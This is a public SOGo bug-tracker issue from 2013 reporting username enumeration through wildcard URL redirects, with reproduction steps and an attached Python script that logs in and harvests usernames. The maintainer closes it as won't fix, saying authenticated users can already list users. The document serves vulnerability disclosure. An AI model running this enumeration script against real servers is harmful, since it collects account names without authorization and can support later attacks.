View Issue Details

IDProjectCategoryView StatusLast Update
0002382SOGoWeb Generalpublic2013-07-29 14:51
Reporterispoljaric Assigned To 
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionwon't fix 
Product Version2.0.6 
Summary0002382: Information leak of LDAP entries.
Description

It is possible to force a redirect to any account that can log in to Sogo. The malicious user needs to be authenticated to get access to the url manipulation.

Steps To Reproduce

In my example, the url to be manipulated is http://sogo.labos.nimium.local/SOGo/so/

Basically, you use the redirect that expands the wildcard request.
The example of that expansion is
'http://sogo.labos.nimium.local/SOGo/so/gu' and first i get 302 redirect to 'http://sogo.labos.nimium.local/SOGo/so/gu/view' and after that, redirect to 'http://sogo.labos.nimium.local/SOGo/so/guest/view'.

After that, we get message :
An error occurred during object publishing
tried to access private object (0x0x7fbdddf04268, SoClass=SOGoMailAccounts),

but still the username was leaked.

Additional Information

There is a python script attached that extracts partial or full list of users on sogo.

Usage: python sogo_ldap_injection.py 'username' 'password' 'http://sogo.labos.nimium.local/SOGo/'
Expected output: usernames

TagsNo tags attached.

Activities

2013-07-29 14:39

 

sogo_ldap_injection.py (783 bytes)   
#!/usr/local/bin/python
import requests
import string

def login(uname,password,url):
    return requests.post(
            url+'/connect',
            data={'userName':uname,
                'password':password}
            ).cookies

def extract(url,cookie):
    for i in string.ascii_lowercase:
        c = requests.get(url+i+'*/view',cookies=cookie).url
        if '*' not in c:
            print   c.split('/')[c.split('/').index('so')+1]
            # If we want full uids, we just need to make it recursive
            # Uncomment the next line if you want really really slow extraction of everything
            #extract(url+i,cookie)

if __name__=='__main__':
    import sys
    session = login(sys.argv[1],sys.argv[2],sys.argv[3])
    extract(sys.argv[3]+'/so/',session)


sogo_ldap_injection.py (783 bytes)   
ludovic

ludovic

2013-07-29 14:51

administrator   ~0005774

This isn't a problem in itself.

If you are authenticated, you can very well simply list all valid users when you want to share your calendar or subscribe to one.

Your script shows nothing more that SOGo doesn't expose already for a reason.

Issue History

Date Modified Username Field Change
2013-07-29 14:39 ispoljaric New Issue
2013-07-29 14:39 ispoljaric File Added: sogo_ldap_injection.py
2013-07-29 14:51 ludovic Note Added: 0005774
2013-07-29 14:51 ludovic Status new => closed
2013-07-29 14:51 ludovic Resolution open => won't fix